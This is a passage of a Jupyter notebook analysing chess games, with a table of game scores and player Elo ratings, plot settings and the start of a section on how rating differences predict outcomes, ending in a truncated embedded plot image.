be used because of missing data" ] }, { "cell_type": "code", "execution_count": 3, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div>\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>WhiteScore</th>\n", " <th>pair</th>\n", " <th>wElo</th>\n", " <th>bElo</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td>1.0</td>\n", " <td>MM</td>\n", " <td>2668</td>\n", " <td>2656</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td>1.0</td>\n", " <td>MM</td>\n", " <td>2643</td>\n", " <td>2535</td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <td>0.5</td>\n", " <td>MM</td>\n", " <td>2678</td>\n", " <td>2691</td>\n", " </tr>\n", " <tr>\n", " <th>3</th>\n", " <td>0.5</td>\n", " <td>MM</td>\n", " <td>2611</td>\n", " <td>2641</td>\n", " </tr>\n", " <tr>\n", " <th>4</th>\n", " <td>0.5</td>\n", " <td>MM</td>\n", " <td>2551</td>\n", " <td>2663</td>\n", " </tr>\n", " <tr>\n", " <th>5</th>\n", " <td>1.0</td>\n", " <td>MM</td>\n", " <td>2626</td>\n", " <td>2409</td>\n", " </tr>\n", " <tr>\n", " <th>6</th>\n", " <td>0.5</td>\n", " <td>MM</td>\n", " <td>2593</td>\n", " <td>2416</td>\n", " </tr>\n", " <tr>\n", " <th>7</th>\n", " <td>0.0</td>\n", " <td>MM</td>\n", " <td>2520</td>\n", " <td>2564</td>\n", " </tr>\n", " <tr>\n", " <th>8</th>\n", " <td>0.5</td>\n", " <td>MM</td>\n", " <td>2547</td>\n", " <td>2567</td>\n", " </tr>\n", " <tr>\n", " <th>9</th>\n", " <td>1.0</td>\n", " <td>MM</td>\n", " <td>2440</td>\n", " <td>2440</td>\n", " </tr>\n", " <tr>\n", " <th>10</th>\n", " <td>1.0</td>\n", " <td>MM</td>\n", " <td>2409</td>\n", " <td>2348</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " WhiteScore pair wElo bElo\n", "0 1.0 MM 2668 2656\n", "1 1.0 MM 2643 2535\n", "2 0.5 MM 2678 2691\n", "3 0.5 MM 2611 2641\n", "4 0.5 MM 2551 2663\n", "5 1.0 MM 2626 2409\n", "6 0.5 MM 2593 2416\n", "7 0.0 MM 2520 2564\n", "8 0.5 MM 2547 2567\n", "9 1.0 MM 2440 2440\n", "10 1.0 MM 2409 2348" ] }, "execution_count": 3, "metadata": {}, "output_type": "execute_result" } ], "source": [ "# Display the first 10 rows of the dataset\n", "games.ix[:10,:]" ] }, { "cell_type": "code", "execution_count": 4, "metadata": { "collapsed": false }, "outputs": [], "source": [ "#----------------- graph params\"\n", "%matplotlib inline\n", "fsize=(12,10)\n", "\n", "binwidth=125\n", "bins=np.arange(-625,627,binwidth)\n", "ylimit_diff=0.08\n", "fmts=['-^','-s','-o','-d','-v'] #marker shapes\n", "lss=['--','-.','-','.',':'] # line styles\n", "colours=['darkred','orange','b','indigo','k'] #line colours\n", "lweight=2\n", "sns.set(font_scale=2)\n", "\n" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Player ratings predict outcome\n", "\n", "All players have a FIDE rating, which is updated based on their game outcomes according to the Elo system. For any game, the difference in player rating can be used to predict game outcome. We can inspect our data to see how well player ratings do in fact predict observed game outcome." ] }, { "cell_type": "code", "execution_count": 5, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/plain": [ "(-650, 650)" ] }, "execution_count": 5, "metadata": {}, "output_type": "execute_result" }, { "name": "stderr", "output_type": "stream", "text": [ "/usr/lib/pymodules/python2.7/matplotlib/collections.py:548: FutureWarning: elementwise comparison failed; returning scalar instead, but in the future will perform elementwise comparison\n", " if self._edgecolors == 'face':\n" ] }, { "data": { "image/png": "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